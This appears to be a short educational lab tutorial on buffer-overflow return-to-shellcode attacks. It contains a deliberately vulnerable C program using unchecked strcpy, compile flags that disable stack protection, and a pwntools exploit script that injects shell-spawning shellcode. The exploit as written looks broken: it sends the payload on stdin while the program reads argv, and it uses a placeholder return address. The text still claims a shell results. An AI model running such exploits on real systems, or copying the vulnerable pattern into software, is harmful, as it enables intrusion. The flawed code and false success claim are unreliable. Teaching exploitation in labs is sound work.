Return-to-Shellcode Attacks Lab

Return-to-Shellcode Attacks Lab

In this lab, we will learn how to exploit buffer overflow vulnerabilities to redirect program execution to injected shellcode.

Lab Activities:

1. Creating Vulnerable C Program:

First, let's create a vulnerable C program with a buffer overflow vulnerability.

  #include <stdio.h>
  #include <string.h>

  void vulnerable_function(char *input) {
      char buffer[64];
      strcpy(buffer, input);
  }

  int main(int argc, char *argv[]) {
      if (argc != 2) {
          printf("Usage: %s <input>\n", argv[0]);
          return 1;
      }

      vulnerable_function(argv[1]);

      printf("Program executed successfully.\n");
      return 0;
  }
  

Save the above code to a file named vulnerable.c and compile it with the following command:

$ gcc -o vulnerable -fno-stack-protector -z execstack vulnerable.c

2. Writing Exploit Script:

Now, let's write an exploit script in Python using pwntools to exploit the buffer overflow vulnerability.

  from pwn import *

  # Specify the path to the vulnerable binary
  binary_path = './vulnerable'

  # Craft the payload with shellcode and padding
  shellcode = asm(shellcraft.sh())
  payload = shellcode.ljust(64, b'A') + p64(0xdeadbeef)  # Padding and fake return address

  # Launch the exploit
  p = process(binary_path)
  p.sendline(payload)
  p.interactive()
  

Explanation of the Python script:

• We use asm(shellcraft.sh()) to generate the shellcode for spawning a shell.
• The payload consists of the shellcode followed by padding to fill the buffer and a fake return address.
• We launch the vulnerable binary and send the payload to trigger the buffer overflow.
• p.interactive() allows us to interact with the spawned shell.

3. Exploiting the Vulnerability:

Execute the Python script to exploit the buffer overflow vulnerability:

$ python exploit.py

Once executed, you should have a shell prompt, confirming the successful exploitation of the buffer overflow vulnerability.